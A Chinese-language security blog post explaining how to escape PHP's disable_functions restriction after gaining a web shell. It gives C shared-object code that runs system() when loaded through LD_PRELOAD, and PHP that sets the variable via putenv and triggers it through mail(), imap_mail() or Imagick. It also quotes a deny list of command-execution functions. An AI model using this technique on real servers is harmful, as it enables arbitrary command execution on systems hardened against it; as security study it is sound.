利用LD_PRELOAD绕过disbale_functions
Apr 02, 2019
1 minute read

0x01 背景

有时候拿到shell后发现无法执行系统命令,通过phpinfo查看发现设置了disbale_functions,禁止了大部分可以执行命令的方法,这时候就要考虑绕过这个限制。本文是介绍了利用LD_PRELOAD环境变量加载恶意共享库的方式绕过,当然方式不止文中列出的几种,有何遗漏或不足欢迎提建议。

0x02 LD_PRELOAD 环境变量

LD_PRELOAD is an optional environmental variable containing one or more paths to shared libraries, or shared objects, that the loader will load before any other shared library including the C runtime library (libc.so) This is called preloading a library.

根据文档介绍,如果使用LD_PRELOAD环境变量指定了一个共享库或共享对象,那么这个共享对象会在其他对象加载前被加载,例如

$ LD_PRELOAD=/path/to/my/malloc.so /bin/ls

即在执行ls命令前,会先加载指定路径的malloc.so文件,如果这是一个恶意共享对象,那么可以执行任意操作。

我们可以通过readelf命令查看某个命令调用了哪些外部链接库,然后找到其中某个库,编写同名函数进行劫持,然后编译成共享对象文件,接着使用LD_PRELOAD环境变量指定生成的对象,达到命令执行的目的。

一般情况我们选择简单的或者不带参数的命令,例如idlswhoami等,另外为了实现原型一致的劫持函数,也尽量选择常用的或者不用传递参数的函数,例如getuid()getpid()getgid()

python为例,通过命令readelf -s /usr/bin/python列出python程序调用的系统函数,可以筛选出get型的函数

尝试劫持getpid()函数

首先通过man命令查看getpid()函数的实现

然后重写getpid()函数

#include <sys/types.h>
#include <unistd.h>

pid_t getpid(void){
    system("echo 'pwned by getpid!'");
    return 0;
}

注意:因为通过设置preload劫持了比较底层的函数,而派发出的新进程如果用到该函数也会一并被劫持,也就是说如果没有及时unsetenv("LD_PRELOAD")则会导致不断循环,一旦操作敏感就会比较危险,所以一定要及时删除这个环境变量,改进版如下:

#include <sys/types.h>
#include <unistd.h>

void payload(void){
    system("echo 'pwned by getpid!'");
}

pid_t getpid(void){
    if (getenv("LD_PRELOAD") == NULL){
        return 0;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return 0;
}

接着编译共享对象,-shared表示生成共享库,-fPIC表示使用地址无关代码

gcc -shared -fPIC getpid.c -o getpid.so

LD_PRELOAD设置加载so文件,运行python,可以看到函数被成功劫持

这个方法有一定限制,首先需要找到一个相对简单的函数原型,然后需要确保该函数被目标程序调用,因此一个更好的方法是利用扩展修饰符修饰函数,优先加载恶意函数,增强通用性,这里就用到了扩展修饰符 __attribute__((constructor))

GCC 有个 C 语言扩展修饰符 __attribute__((constructor)),可以让由它修饰的函数在 main() 之前执行,若它出现在共享对象中时,那么一旦共享对象被系统加载,立即将执行 __attribute__((constructor)) 修饰的函数

简单说就是__attribute__可以修饰几个属性,包括函数属性、变量属性和类型属性,语法格式为:

__attribute__(( attribute-list ))

当函数属性被设置为constructor时,该函数会在可执行文件(或共享对象)加载时被调用,同理当设置属性为destructor时会在对象unload时调用,也就是说设置为这两个属性时,会在main()函数执行之前或者return()执行之后被调用,我们就可以借助这个扩展修饰符,当加载so文件时自动执行恶意函数,这样就不局限于某个特定函数,使用面大大扩展了

重新写一个函数,使用 __attribute__((constructor))修饰

#include <unistd.h>

void payload(void){
    system("echo 'pwned!'");
}

__attribute__ ((__constructor__)) void exec(void){
    if (getenv("LD_PRELOAD") == NULL){
        return;
    }

    unsetenv("LD_PRELOAD");
    payload();

    return;
}

重新编译并加载,成功执行

0x03 绕过disable_functions

接下来看一下怎么利用LD_PRELOADphp启用disable_functions禁用了命令/代码执行函数的情况下绕过这个限制,达到命令执行的效果

php.ini限制大部分执行命令的函数

disable_functions = assert,system,passthru,exec,pcntl_exec,shell_exec,popen,proc_open

根据上面的介绍,我们突破disable_functions的步骤如下

  1. 编写恶意C函数,并编译成共享对象;
  2. php执行过程中找到一个函数,这个函数能够产生一个新的进程;
  3. 通过putenv设置LD_PRELOAD环境变量,使得新产生的进程优先加载恶意共享对象;

第1步在上文已经解决了,第3步也比较容易实现,关键就是第2步,找到一个php中可以新起一个进程的函数,目的是为了让这个新进程使用的环境变量加载我们设置的恶意共享对象,达到劫持的目的

php中有这么几个函数可以被利用,mail()imap_mail(),以及Imagick,来逐一测试

mail()

mail()函数会启动sendmail进程发送邮件,这个过程是可以被劫持的

<?php
    mail("admin@localhost","","","","");
?>

通过strace查看mail()函数调用的过程

可以看到除了php自身进程外还启动了sendmail进程,而sendmail在执行过程中调用了多个可以被劫持的函数,例如getuidgetgidgetpid等,我们还是以上面的getpid为例测试

通过putenvLD_PRELOAD环境变量设置为上面编译好的getpid.so

<?php
    putenv("LD_PRELOAD=/tmp/getpid.so");
    mail("admin@localhost","","","","");
?>

成功绕过disable_functions限制。另外也可以用__attribute__ ((__constructor__))修饰函数,这样就不局限于某个系统函数。

imap_mail()

imap_mail()函数与mail()函数类似,都会调用sendmail程序发送邮件,因此也能通过LD_PRELOAD环境变量绕过,方法同上

Imagick

Imagick作为使用广泛的图形处理库,它在处理各种类型的文件时会调用不同的处理程序,这个过程也是可以进行劫持的,常见的文件类型与处理程序对应关系列举如下

文件类型 调用程序
EPI/EPS/PDF/PS Ghostscript
MNG/M2V ffmpeg
JXR jxrlib

详细的依赖调用关系可以参考官方网站

eps文件为例,使用Imagick加载

<?php
    $a = new Imagick("/tmp/payload.eps");
?>

如果出现报错

Uncaught ImagickException: not authorized 'payload.eps'

需要修改imagickpolicy.xml文件,把相应文件类型的权限修改为read|write

通过strace可以看到启动了gs程序处理

因此我们同样可以通过修改LD_PRELOAD达到执行代码的目的,而实际上这个过程并不要求payload.eps是个合法的eps文件

类似的,pdfpswmv文件等,都可以通过这个方法利用。

0x04 总结

本文主要介绍了如何利用LD_PRELOAD突破disbale_functions,当然这个方法也有一个限制,那就是putenv没有被禁用,得以设置环境变量,因此在不影响系统运行的前提下也需要把putenv加上。

参考:

https://www.one-tab.com/page/sF_C-HRZTTGu-K_bDaSLoQ


Back to posts


comments powered by Disqus